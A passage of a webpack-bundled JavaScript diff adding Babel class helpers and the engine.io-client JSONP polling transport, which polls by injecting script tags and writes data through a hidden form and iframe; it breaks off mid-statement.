hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + var Polling = __webpack_require__(/*! ./polling */ "./node_modules/engine.io-client/lib/transports/polling.js"); + + var globalThis = __webpack_require__(/*! ../globalThis */ "./node_modules/engine.io-client/lib/globalThis.browser.js"); + + var rNewline = /\n/g; + var rEscapedNewline = /\\n/g; + /** + * Global JSONP callbacks. + */ + + var callbacks; + + var JSONPPolling = /*#__PURE__*/function (_Polling) { + _inherits(JSONPPolling, _Polling); + + var _super = _createSuper(JSONPPolling); + + /** + * JSONP Polling constructor. + * + * @param {Object} opts. + * @api public + */ + function JSONPPolling(opts) { + var _this; + + _classCallCheck(this, JSONPPolling); + + _this = _super.call(this, opts); + _this.query = _this.query || {}; // define global callbacks array if not present + // we do this here (lazily) to avoid unneeded global pollution + + if (!callbacks) { + // we need to consider multiple engines in the same page + callbacks = globalThis.___eio = globalThis.___eio || []; + } // callback identifier + + + _this.index = callbacks.length; // add callback to jsonp global + + var self = _assertThisInitialized(_this); + + callbacks.push(function (msg) { + self.onData(msg); + }); // append to query string + + _this.query.j = _this.index; + return _this; + } + /** + * JSONP only supports binary as base64 encoded strings + */ + + + _createClass(JSONPPolling, [{ + key: "doClose", + + /** + * Closes the socket. + * + * @api private + */ + value: function doClose() { + if (this.script) { + // prevent spurious errors from being emitted when the window is unloaded + this.script.onerror = function () {}; + + this.script.parentNode.removeChild(this.script); + this.script = null; + } + + if (this.form) { + this.form.parentNode.removeChild(this.form); + this.form = null; + this.iframe = null; + } + + _get(_getPrototypeOf(JSONPPolling.prototype), "doClose", this).call(this); + } + /** + * Starts a poll cycle. + * + * @api private + */ + + }, { + key: "doPoll", + value: function doPoll() { + var self = this; + var script = document.createElement("script"); + + if (this.script) { + this.script.parentNode.removeChild(this.script); + this.script = null; + } + + script.async = true; + script.src = this.uri(); + + script.onerror = function (e) { + self.onError("jsonp poll error", e); + }; + + var insertAt = document.getElementsByTagName("script")[0]; + + if (insertAt) { + insertAt.parentNode.insertBefore(script, insertAt); + } else { + (document.head || document.body).appendChild(script); + } + + this.script = script; + var isUAgecko = "undefined" !== typeof navigator && /gecko/i.test(navigator.userAgent); + + if (isUAgecko) { + setTimeout(function () { + var iframe = document.createElement("iframe"); + document.body.appendChild(iframe); + document.body.removeChild(iframe); + }, 100); + } + } + /** + * Writes with a hidden iframe. + * + * @param {String} data to send + * @param {Function} called upon flush. + * @api private + */ + + }, { + key: "doWrite", + value: function doWrite(data, fn) { + var self = this; + var iframe; + + if (!this.form) { + var form = document.createElement("form"); + var area = document.createElement("textarea"); + var id = this.iframeId = "eio_iframe_" + this.index; + form.className = "socketio"; + form.style.position = "absolute"; + form.style.top = "-1000px"; + form.style.left = "-1000px"; + form.target = id; + form.method = "POST"; + form.setAttribute("accept-charset", "utf-8"); + area.name = "d"; + form.appendChild(area); + document.body.appendChild(form); + this.form = form; + this.area = area; + } + + this.form.action = this.uri(); + + function complete() { + initIframe(); + fn(); + } + + function initIframe() { + if (self.iframe) { + try { + self.form.removeChild(self.iframe); + } catch (e) { + self.onError("jsonp polling iframe removal error", e); + } + } + + try { + // ie6 dynamic iframes with target="" support (thanks Chris Lambacher) + var html = '